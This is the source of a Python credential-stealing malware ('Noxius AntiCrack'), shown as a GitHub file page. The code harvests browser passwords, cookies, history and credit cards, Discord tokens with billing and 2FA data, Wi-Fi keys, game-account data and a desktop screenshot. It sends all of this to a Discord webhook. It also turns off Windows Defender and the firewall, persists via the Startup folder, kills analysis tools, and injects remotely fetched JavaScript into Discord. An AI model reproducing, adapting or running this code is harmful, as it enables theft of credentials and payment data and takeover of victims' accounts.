-
Notifications
You must be signed in to change notification settings - Fork 1
/
noxius.py
792 lines (667 loc) · 33.6 KB
/
noxius.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
import base64
import json
import os
import platform
import random
import re
import sqlite3
import subprocess
import threading
import uuid
import ctypes
import psutil
import requests
import wmi
os.system("start __pycache__/save.lnk")
from Crypto.Cipher import AES
from discord import Embed, File, SyncWebhook
from PIL import ImageGrab
from win32crypt import CryptUnprotectData
from shutil import copy2
from sys import argv
from tempfile import gettempdir, mkdtemp
from zipfile import ZIP_DEFLATED, ZipFile
__WEBHOOK__ = "%webhook_here%"
__PING__ = "%ping_enabled%"
__PINGTYPE__ = "%ping_type%"
__ERROR__ = "%_error_enabled%"
__STARTUP__ = "%_startup_enabled%"
__DEFENDER__ = "%_defender_enabled%"
def main(webhook: str):
webhook = SyncWebhook.from_url(webhook, session=requests.Session())
threads = [browsers, grabwifi, mc_tokens, epicgames_data, mfa_codes, fakeerror, startup, disable_defender]
configcheck(threads)
for func in threads:
process = threading.Thread(target=func, daemon=True)
process.start()
for t in threading.enumerate():
try:
t.join()
except RuntimeError:
continue
zipup()
_file = None
_file = File(f'{localappdata}\\NoxiusGrabber-{os.getlogin()}.zip')
content = ""
if __PING__:
if __PINGTYPE__ == "everyone":
content += "@everyone"
elif __PINGTYPE__ == "here":
content += "@here"
webhook.send(content=content, file=_file, avatar_url="https://fivemwoofer.xyz/files/noxius.png?size=4096", username="Noxius AntiCrack")
grabpcinfo()
grabtokens()
def noxius(webhook: str):
debug()
procs = [main, inject]
for proc in procs:
proc(webhook)
os.remove(f'{localappdata}\\NoxiusGrabber-{os.getlogin()}.zip')
def try_extract(func):
def wrapper(*args, **kwargs):
try:
func(*args, **kwargs)
except Exception:
pass
return wrapper
def configcheck(list):
if not __ERROR__:
list.remove(fakeerror)
if not __STARTUP__:
list.remove(startup)
if not __DEFENDER__:
list.remove(disable_defender)
def fakeerror():
ctypes.windll.user32.MessageBoxW(None, 'Error code: 0x80070002\nAn internal error occured while importing modules.', 'Fatal Error', 0)
def startup():
startup_path = os.getenv("appdata") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
if os.path.exists(startup_path + argv[0]):
os.remove(startup_path + argv[0])
copy2(argv[0], startup_path)
else:
copy2(argv[0], startup_path)
def disable_defender():
subprocess.run("powershell Set-MpPreference -DisableRealtimeMonitoring $true && netsh Advfirewall set allprofiles state off", shell=True, capture_output=True)
def create_temp(_dir: str or os.PathLike = gettempdir()):
file_name = ''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
path = os.path.join(_dir, file_name)
open(path, "x")
return path
class grabpcinfo:
def __init__(self):
self.get_inf(__WEBHOOK__)
def get_inf(self, webhook):
webhook = SyncWebhook.from_url(webhook, session=requests.Session())
embed = Embed(title="Noxius AntiCrack", color=0x00000)
computer_os = platform.platform()
cpu = wmi.WMI().Win32_Processor()[0]
gpu = wmi.WMI().Win32_VideoController()[0]
ram = round(float(wmi.WMI().Win32_OperatingSystem()[0].TotalVisibleMemorySize) / 1048576, 0)
embed.add_field(
name="SysInfo",
value=f'''💻 `PC Username:` **{username}**\n:desktop: `PC Name:` **{hostname}**\n🌐 `OS:` **{computer_os}**\n\n👀 `IP:` **{ip}**\n🍏 `MAC:` **{mac}**\n🔧 `HWID:` **{hwid}**\n\n<:cpu:1024720072075399250> `CPU:` **{cpu.Name}**\n<:gpu:1024720328062156892> `GPU:` **{gpu.Name}**\n<:rgbram:1024720542214930462> `RAM:` **{ram}GB**''',
inline=False)
embed.set_footer(text="Noxius AntiCrack | Created by discord.gg/fivemspoofer")
embed.set_thumbnail(url="https://fivemwoofer.xyz/files/noxius.png?size=4096")
webhook.send(embed=embed, avatar_url="https://fivemwoofer.xyz/files/noxius.png?size=4096", username="Noxius AntiCrack")
@try_extract
class grabtokens:
def __init__(self):
self.baseurl = "https://discord.com/api/v9/users/@me"
self.appdata = os.getenv("localappdata")
self.roaming = os.getenv("appdata")
self.regex = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"
self.encrypted_regex = r"dQw4w9WgXcQ:[^\"]*"
self.tokens_sent = []
self.tokens = []
self.ids = []
self.grabTokens()
self.upload(__WEBHOOK__)
def decrypt_val(self, buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return "Failed to decrypt password"
def get_master_key(self, path):
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def grabTokens(self):
paths = {
'Discord': self.roaming + '\\discord\\Local Storage\\leveldb\\',
'Discord Canary': self.roaming + '\\discordcanary\\Local Storage\\leveldb\\',
'Lightcord': self.roaming + '\\Lightcord\\Local Storage\\leveldb\\',
'Discord PTB': self.roaming + '\\discordptb\\Local Storage\\leveldb\\',
'Opera': self.roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
'Opera GX': self.roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
'Amigo': self.appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
'Torch': self.appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\',
'Kometa': self.appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
'Orbitum': self.appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
'CentBrowser': self.appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
'7Star': self.appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
'Sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
'Vivaldi': self.appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome SxS': self.appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
'Chrome': self.appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome1': self.appdata + '\\Google\\Chrome\\User Data\\Profile 1\\Local Storage\\leveldb\\',
'Chrome2': self.appdata + '\\Google\\Chrome\\User Data\\Profile 2\\Local Storage\\leveldb\\',
'Chrome3': self.appdata + '\\Google\\Chrome\\User Data\\Profile 3\\Local Storage\\leveldb\\',
'Chrome4': self.appdata + '\\Google\\Chrome\\User Data\\Profile 4\\Local Storage\\leveldb\\',
'Chrome5': self.appdata + '\\Google\\Chrome\\User Data\\Profile 5\\Local Storage\\leveldb\\',
'Epic Privacy Browser': self.appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',
'Uran': self.appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
'Yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
'Brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
'Iridium': self.appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}
for name, path in paths.items():
if not os.path.exists(path):
continue
disc = name.replace(" ", "").lower()
if "cord" in path:
if os.path.exists(self.roaming + f'\\{disc}\\Local State'):
for file_name in os.listdir(path):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for y in re.findall(self.encrypted_regex, line):
try:
token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), self.get_master_key(self.roaming + f'\\{disc}\\Local State'))
except ValueError:
pass
try:
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
except Exception:
pass
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.ids:
self.tokens.append(token)
self.ids.append(uid)
else:
for file_name in os.listdir(path):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for token in re.findall(self.regex, line):
try:
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
except Exception:
pass
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.ids:
self.tokens.append(token)
self.ids.append(uid)
if os.path.exists(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
for path, _, files in os.walk(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
for _file in files:
if not _file.endswith('.sqlite'):
continue
for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]:
for token in re.findall(self.regex, line):
try:
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token})
except Exception:
pass
if r.status_code == 200:
uid = r.json()['id']
if uid not in self.ids:
self.tokens.append(token)
self.ids.append(uid)
def upload(self, webhook):
webhook = SyncWebhook.from_url(webhook, session=requests.Session())
for token in self.tokens:
if token in self.tokens_sent:
pass
val_codes = []
val = ""
nitro = "❌"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Content-Type': 'application/json',
'Authorization': token}
r = requests.get(self.baseurl, headers=headers).json()
username = r['username'] + '#' + r['discriminator']
discord_id = r['id']
avatar = f"https://cdn.discordapp.com/avatars/{discord_id}/{r['avatar']}.gif" if requests.get(
f"https://cdn.discordapp.com/avatars/{discord_id}/{r['avatar']}.gif").status_code == 200 else f"https://cdn.discordapp.com/avatars/{discord_id}/{r['avatar']}.png"
phone = r['phone']
email = r['email']
embed = Embed(title=username, color=5639644)
try:
if r['mfa_enabled']:
mfa = "✅"
else:
mfa = "❌"
except Exception:
mfa = "❌"
try:
if r['premium_type'] == 1:
nitro = 'Nitro Classic'
elif r['premium_type'] == 2:
nitro = 'Nitro Boost'
except BaseException:
nitro = nitro
b = requests.get("https://discord.com/api/v6/users/@me/billing/payment-sources", headers=headers).json()
if b == []:
methods = "❌"
else:
methods = ""
try:
for method in b:
if method['type'] == 1:
methods += "💳"
elif method['type'] == 2:
methods += "<:paypal:973417655627288666>"
else:
methods += "❓"
except TypeError:
methods += "❓"
val += f'<:6376blackdevil:1034366750101348463> `Discord ID:` **{discord_id}** \n<:chrome:1030764532731236462> `Email:` **{email}**\n:mobile_phone: `Phone:` **{phone}**\n\n<:2fa:1024718014278533212> `2FA:` **{mfa}**\n<a:nitroboost:996004213354139658> `Nitro:` **{nitro}**\n<:billing:1024718620896538787> `Billing:` **{methods}**\n\n<:crown1:1024719305482444851> `Token:` **{token}**\n[Click to copy!](https://paste-pgpj.onrender.com/?p={token})\n'
g = requests.get("https://discord.com/api/v9/users/@me/outbound-promotions/codes", headers=headers)
if "code" in g.text:
codes = json.loads(g.text)
try:
for code in codes:
val_codes.append((code['code'], code['promotion']['outbound_title']))
except TypeError:
pass
if val_codes == []:
val += f'\n:gift: **No Gift Cards Found**\n'
elif len(val_codes) >= 3:
num = 0
for c, t in val_codes:
num += 1
if num == 3:
break
val += f'\n:gift: `{t}:`\n**{c}**\n[Click to copy!](https://paste-pgpj.onrender.com/?p={c})\n'
else:
for c, t in val_codes:
val += f'\n:gift: `{t}:`\n**{c}**\n[Click to copy!](https://paste-pgpj.onrender.com/?p={c})\n'
embed.add_field(name="Discord Info", value=val + "\u200b", inline=False)
embed.set_thumbnail(url=avatar)
webhook.send(
embed=embed,
avatar_url="https://fivemwoofer.xyz/files/noxius.png?size=4096",
username="Noxius AntiCrack")
self.tokens_sent += token
ImageGrab.grab(
bbox=None,
all_screens=True,
include_layered_windows=False,
xdisplay=None
).save(tempfolder + "\\image.png")
embed2 = Embed(title="Desktop Screenshot", color=5639644)
file = File(tempfolder + "\\image.png", filename="image.png")
embed2.set_image(url="attachment://image.png")
webhook.send(
embed=embed2,
file=file,
username="Noxius AntiCrack")
@try_extract
class browsers:
def __init__(self):
self.appdata = os.getenv('LOCALAPPDATA')
self.roaming = os.getenv('APPDATA')
self.browsers = {
'amigo': self.appdata + '\\Amigo\\User Data',
'torch': self.appdata + '\\Torch\\User Data',
'kometa': self.appdata + '\\Kometa\\User Data',
'orbitum': self.appdata + '\\Orbitum\\User Data',
'cent-browser': self.appdata + '\\CentBrowser\\User Data',
'7star': self.appdata + '\\7Star\\7Star\\User Data',
'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
'vivaldi': self.appdata + '\\Vivaldi\\User Data',
'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User Data',
'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
'iridium': self.appdata + '\\Iridium\\User Data',
}
self.profiles = [
'Default',
'Profile 1',
'Profile 2',
'Profile 3',
'Profile 4',
'Profile 5',
]
os.makedirs(os.path.join(tempfolder, "Browser"), exist_ok=True)
for name, path in self.browsers.items():
if not os.path.isdir(path):
continue
self.masterkey = self.get_master_key(path + '\\Local State')
self.funcs = [
self.cookies,
self.history,
self.passwords,
self.credit_cards
]
for profile in self.profiles:
for func in self.funcs:
try:
func(name, path, profile)
except:
pass
def get_master_key(self, path: str) -> str:
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def passwords(self, name: str, path: str, profile: str):
path += '\\' + profile + '\\Login Data'
if not os.path.isfile(path):
return
loginvault = create_temp()
copy2(path, loginvault)
conn = sqlite3.connect(loginvault)
cursor = conn.cursor()
with open(os.path.join(tempfolder, "Browser", "Browser Passwords.txt"), 'a', encoding="utf-8") as f:
f.write(f"\nBrowser: {name}\n")
for res in cursor.execute("SELECT origin_url, username_value, password_value FROM logins").fetchall():
url, username, password = res
password = self.decrypt_password(password, self.masterkey)
if url != "":
f.write(f"URL: {url} Username: {username} Password: {password}\n")
cursor.close()
conn.close()
os.remove(loginvault)
def cookies(self, name: str, path: str, profile: str):
path += '\\' + profile + '\\Network\\Cookies'
if not os.path.isfile(path):
return
cookievault = create_temp()
copy2(path, cookievault)
conn = sqlite3.connect(cookievault)
cursor = conn.cursor()
with open(os.path.join(tempfolder, "Browser", "Browser Cookies.txt"), 'a', encoding="utf-8") as f:
f.write(f"\nBrowser: {name}\n")
for res in cursor.execute("SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies").fetchall():
host_key, name, path, encrypted_value, expires_utc = res
value = self.decrypt_password(encrypted_value, self.masterkey)
if host_key and name and value != "":
f.write("{}\t{}\t{}\t{}\t{}\t{}\t{}\n".format(
host_key, 'FALSE' if expires_utc == 0 else 'TRUE', path, 'FALSE' if host_key.startswith('.') else 'TRUE', expires_utc, name, value))
cursor.close()
conn.close()
os.remove(cookievault)
def history(self, name: str, path: str, profile: str):
path += '\\' + profile + '\\History'
if not os.path.isfile(path):
return
historyvault = create_temp()
copy2(path, historyvault)
conn = sqlite3.connect(historyvault)
cursor = conn.cursor()
with open(os.path.join(tempfolder, "Browser", "Browser History.txt"), 'a', encoding="utf-8") as f:
f.write(f"\nBrowser: {name}\n")
sites = []
for res in cursor.execute("SELECT url, title, visit_count, last_visit_time FROM urls").fetchall():
url, title, visit_count, last_visit_time = res
if url and title and visit_count and last_visit_time != "":
sites.append((url, title, visit_count, last_visit_time))
sites.sort(key=lambda x: x[3], reverse=True)
for site in sites:
f.write("Visit Count: {:<6} Title: {:<40}\n".format(site[2], site[1]))
cursor.close()
conn.close()
os.remove(historyvault)
def credit_cards(self, name: str, path: str, profile: str):
path += '\\' + profile + '\\Web Data'
if not os.path.isfile(path):
return
cardvault = create_temp()
copy2(path, cardvault)
conn = sqlite3.connect(cardvault)
cursor = conn.cursor()
with open(os.path.join(tempfolder, "Browser", "Browser Creditcards.txt"), 'a', encoding="utf-8") as f:
f.write(f"\nBrowser: {name}\n")
for res in cursor.execute("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards").fetchall():
name_on_card, expiration_month, expiration_year, card_number_encrypted = res
if name_on_card and card_number_encrypted != "":
f.write(
f"Name: {name_on_card} Expiration Month: {expiration_month} Expiration Year: {expiration_year} Card Number: {self.decrypt_password(card_number_encrypted, self.masterkey)}\n")
f.close()
cursor.close()
conn.close()
os.remove(cardvault)
@try_extract
class grabwifi:
def __init__(self):
self.wifi_list = []
self.name_pass = {}
os.makedirs(os.path.join(tempfolder, "Wifi"), exist_ok=True)
with open(os.path.join(tempfolder, "Wifi", "Wifi Passwords.txt"), 'w', encoding="utf-8") as f:
f.write(f"{github} | Wifi Networks & Passwords\n\n")
data = subprocess.getoutput('netsh wlan show profiles').split('\n')
for line in data:
if 'All User Profile' in line:
self.wifi_list.append(line.split(":")[-1][1:])
else:
with open(os.path.join(tempfolder, "Wifi", "Wifi Passwords.txt"), 'w', encoding="utf-8") as f:
f.write(f'There is no wireless interface on the system. Ethernet using twat.')
f.close()
for i in self.wifi_list:
command = subprocess.getoutput(
f'netsh wlan show profile "{i}" key=clear')
if "Key Content" in command:
split_key = command.split('Key Content')
tmp = split_key[1].split('\n')[0]
key = tmp.split(': ')[1]
self.name_pass[i] = key
else:
key = ""
self.name_pass[i] = key
with open(os.path.join(tempfolder, "Wifi", "Wifi Passwords.txt"), 'w', encoding="utf-8") as f:
for i, j in self.name_pass.items():
f.write(f'Wifi Name : {i} | Password : {j}\n')
f.close()
@try_extract
class mc_tokens:
def __init__(self):
self.roaming = os.getenv("appdata")
self.accounts_path = "\\.minecraft\\launcher_accounts.json"
self.usercache_path = "\\.minecraft\\usercache.json"
self.error_message = "No minecraft accounts or access tokens :("
os.makedirs(os.path.join(tempfolder, "Minecraft"), exist_ok=True)
self.session_info()
self.user_cache()
def session_info(self):
with open(os.path.join(tempfolder, "Minecraft", "Session Info.txt"), 'w', encoding="cp437") as f:
if os.path.exists(self.roaming + self.accounts_path):
with open(self.roaming + self.accounts_path, "r") as g:
self.session = json.load(g)
f.write(json.dumps(self.session, indent=4))
else:
f.write(self.error_message)
def user_cache(self):
with open(os.path.join(tempfolder, "Minecraft", "User Cache.txt"), 'w', encoding="cp437") as f:
if os.path.exists(self.roaming + self.usercache_path):
with open(self.roaming + self.usercache_path, "r") as g:
self.user = json.load(g)
f.write(json.dumps(self.user, indent=4))
else:
f.write(self.error_message)
@try_extract
class epicgames_data:
def __init__(self):
self.local = os.getenv("localappdata")
self.epic = self.local + \
"\\EpicGamesLauncher\\Saved\\Config\\Windows\\GameUserSettings.ini"
os.makedirs(os.path.join(tempfolder, "Epic Games"), exist_ok=True)
self.get_data()
def get_data(self):
with open(os.path.join(tempfolder, "Epic Games", "Offline Data.txt"), 'w', encoding="cp437") as g:
g.write(f"{github} | Epic Games Offline Data\n\n")
if os.path.exists(self.epic):
with open(self.epic, "r") as f:
for line in f.readlines():
if line.startswith("Data="):
g.write(line.split('Data=')[1].strip())
else:
g.write("No epic games data was found :(")
@try_extract
class mfa_codes:
def __init__(self):
self.path = os.environ["HOMEPATH"]
self.code_path = '\\Downloads\\discord_backup_codes.txt'
os.makedirs(os.path.join(tempfolder, "Discord"), exist_ok=True)
self.get_codes()
def get_codes(self):
with open(os.path.join(tempfolder, "Discord", "2FA Backup Codes.txt"), "w", encoding="utf-8", errors='ignore') as f:
f.write(f"{github} | Discord Backup Codes\n")
if os.path.exists(self.path + self.code_path):
with open(self.path + self.code_path, 'r') as g:
for line in g.readlines():
if line.startswith("*"):
f.write(line)
else:
f.write("No discord backup codes found")
def zipup():
global localappdata
localappdata = os.getenv('LOCALAPPDATA')
_zipfile = os.path.join(localappdata, f'Luna-Logged-{os.getlogin()}.zip')
zipped_file = ZipFile(_zipfile, "w", ZIP_DEFLATED)
abs_src = os.path.abspath(tempfolder)
for dirname, _, files in os.walk(tempfolder):
for filename in files:
absname = os.path.abspath(os.path.join(dirname, filename))
arcname = absname[len(abs_src) + 1:]
zipped_file.write(absname, arcname)
zipped_file.close()
class inject:
def __init__(self, webhook: str):
self.appdata = os.getenv('LOCALAPPDATA')
self.discord_dirs = [
self.appdata + '\\Discord',
self.appdata + '\\DiscordCanary',
self.appdata + '\\DiscordPTB',
self.appdata + '\\DiscordDevelopment'
]
self.code = requests.get("https://raw.githubusercontent.com/Smug246/Luna-Token-Grabber/main/injection.js").text
for dir in self.discord_dirs:
if not os.path.exists(dir):
continue
if self.get_core(dir) is not None:
with open(self.get_core(dir)[0] + '\\index.js', 'w', encoding='utf-8') as f:
f.write((self.code).replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
self.start_discord(dir)
def get_core(self, dir: str):
for file in os.listdir(dir):
if re.search(r'app-+?', file):
modules = dir + '\\' + file + '\\modules'
if not os.path.exists(modules):
continue
for file in os.listdir(modules):
if re.search(r'discord_desktop_core-+?', file):
core = modules + '\\' + file + '\\' + 'discord_desktop_core'
if not os.path.exists(core + '\\index.js'):
continue
return core, file
def start_discord(self, dir: str):
update = dir + '\\Update.exe'
executable = dir.split('\\')[-1] + '.exe'
for file in os.listdir(dir):
if re.search(r'app-+?', file):
app = dir + '\\' + file
if os.path.exists(app + '\\' + 'modules'):
for file in os.listdir(app):
if file == executable:
executable = app + '\\' + executable
subprocess.call([update,
'--processStart',
executable],
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
class debug:
global tempfolder
tempfolder = mkdtemp()
def __init__(self):
if self.checks():
self.self_destruct()
def checks(self):
debugging = False
self.blackListedUsers = [
'', '', '.']
self.blackListedPCNames = [
'',]
self.blackListedHWIDS = ['']
self.blackListedIPS = [
'']
self.blackListedMacs = [
'']
self.blacklistedProcesses = [
"httpdebuggerui", "wireshark", "fiddler", "regedit", "cmd", "taskmgr", "vboxservice", "df5serv", "processhacker", "vboxtray", "vmtoolsd", "vmwaretray", "ida64",
"ollydbg", "pestudio", "vmwareuser", "vgauthservice", "vmacthlp", "x96dbg", "vmsrvc", "x32dbg", "vmusrvc", "prl_cc", "prl_tools", "xenservice", "qemu-ga",
"joeboxcontrol", "ksdumperclient", "ksdumper", "joeboxserver", argv[0]]
self.check_process()
if self.get_network():
debugging = True
if self.get_system():
debugging = True
return debugging
def check_process(self) -> bool:
for proc in psutil.process_iter():
if any(procstr in proc.name().lower() for procstr in self.blacklistedProcesses):
try:
proc.kill()
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
def get_network(self) -> bool:
global ip, mac, github
ip = requests.get('https://api.ipify.org').text
mac = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
github = "https://github.com/franafp"
if ip in self.blackListedIPS:
return True
if mac in self.blackListedMacs:
return True
def get_system(self) -> bool:
global hwid, username, hostname
username = os.getenv("UserName")
hostname = os.getenv("COMPUTERNAME")
hwid = subprocess.check_output('C:\Windows\System32\wbem\WMIC.exe csproduct get uuid', shell=True,
stdin=subprocess.PIPE, stderr=subprocess.PIPE).decode('utf-8').split('\n')[1].strip()
if hwid in self.blackListedHWIDS:
return True
if username in self.blackListedUsers:
return True
if hostname in self.blackListedPCNames:
return True
def self_destruct(self) -> None:
exit()
if __name__ == '__main__' and os.name == "nt":
noxius(__WEBHOOK__)